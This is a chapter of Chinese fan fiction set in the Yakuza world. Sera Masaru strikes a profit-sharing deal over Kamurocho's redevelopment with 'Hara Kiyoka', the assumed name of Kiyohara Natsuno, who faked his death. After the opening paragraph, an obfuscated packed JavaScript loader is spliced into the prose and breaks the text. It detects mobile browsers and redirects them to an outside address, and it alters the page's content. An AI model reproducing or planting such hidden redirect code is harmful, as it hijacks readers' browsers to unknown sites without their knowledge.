半月后,上午九点,世良胜穿过亚细亚街。几经折转后,他停在了“味道好”面馆的招牌前,立华不动产的人在电话里约他在这家店里见面。 灰蒙蒙的玻璃门里面坐着一个穿黑衬衫的少年,他喝着茶,好像在等人的样子,世良走到桌前,少年站起身递上名片。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789238|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ——立华不动产取缔役会长,原清夏。 世良接过名片,锐利的目光落在面前人的身上。他不日前听说立华不动产实际上已经由一个名叫原清夏的人接手,还从政府那里拿到了神室町都更计划的独家开发权,本以为会是个难缠的老家伙,没想到竟然这样年轻。 “立华不动产的代理社长找我有什么事?”世良在他对面坐了下来。 “我想要和您聊一聊。” “贵公司已经拿下都更计划的独家开发权,我以为您现在会忙着四处收购土地。” 世良和立华见过几次面,知道立华是有上进心又有野心的青年,他现在还不清楚这个「原清夏」是用什么方法让立华铁甘心让出公司的,但也知道能做到这种程度的人绝不是蠢货。 「原清夏」笑了笑:“如果我真如此打算,今天就不会邀您见面了,我们公司不过是小产业而已,如果硬要吞下这么大一块肥肉恐怕会噎死。东城会为了神室町都更计划,从上到下废了这么大气力,若是没有拿到与之相称的利益,本家想必不会太开心。” 世良胜听懂了原清夏的意思,他有些意动,面上仍不动声色:“立华那家不动产公司在你手中未必还是小产业,你已经搭上栉川家的线,完全可以自己放手单干,就连东城会也只能望而兴叹了。” “我只是不认同堂岛宗兵的为人,并不想和整个东城会作对。如果是和您合作的话,我愿意让东城会一起分羹。”「原清夏」缓缓开口道:“权当为您登上大位送上薄礼。” 他在心里暗暗冷笑,望而兴叹?简直是笑话,要是东城会一分钱都拿不到手,这些地痞流氓非得把他们公司扒下来一层皮不可。 世良胜稍作沉思:“敢问贵公司准备怎么安排后续分工?” “由立华不动产来做明面上的土地收购工作,东城会提供人力支持和后勤保障,最终到手的利润分三份,我们两方各拿一份。” 世良胜明白剩下的一份是要打点栉川家的,颔首道:“可以。” 二人暂且达成了共识,对坐饮尽一壶茶。 “我看你很面熟,我是不是在哪里见过你?”走之前,世良状似无意地提了这么一句。 “您要是来过神室町的话,在街上看到过我也说不定。” 世良离开了,少年坐回桌前低头思索,后厨的布帘拉开,尾田走进来站在他面前。 “清原会长,世良胜已经怀疑您的身份了,需要我去杀了他吗?” “不用做多余的事情,”原清夏,也就是清原夏野略抬了抬眼:“我现在姓原,别再叫过去的那个姓氏了。” 清原夏野从自己的名字里选了三个汉字,排列组合后凑成「原清夏」这个假名,亚细亚街上的中国人大多都是黑户,正好方便了他这个假死之后没有身份的人,他普通话说得流利,自称是中国人和日本人的混血儿也不会令人起疑。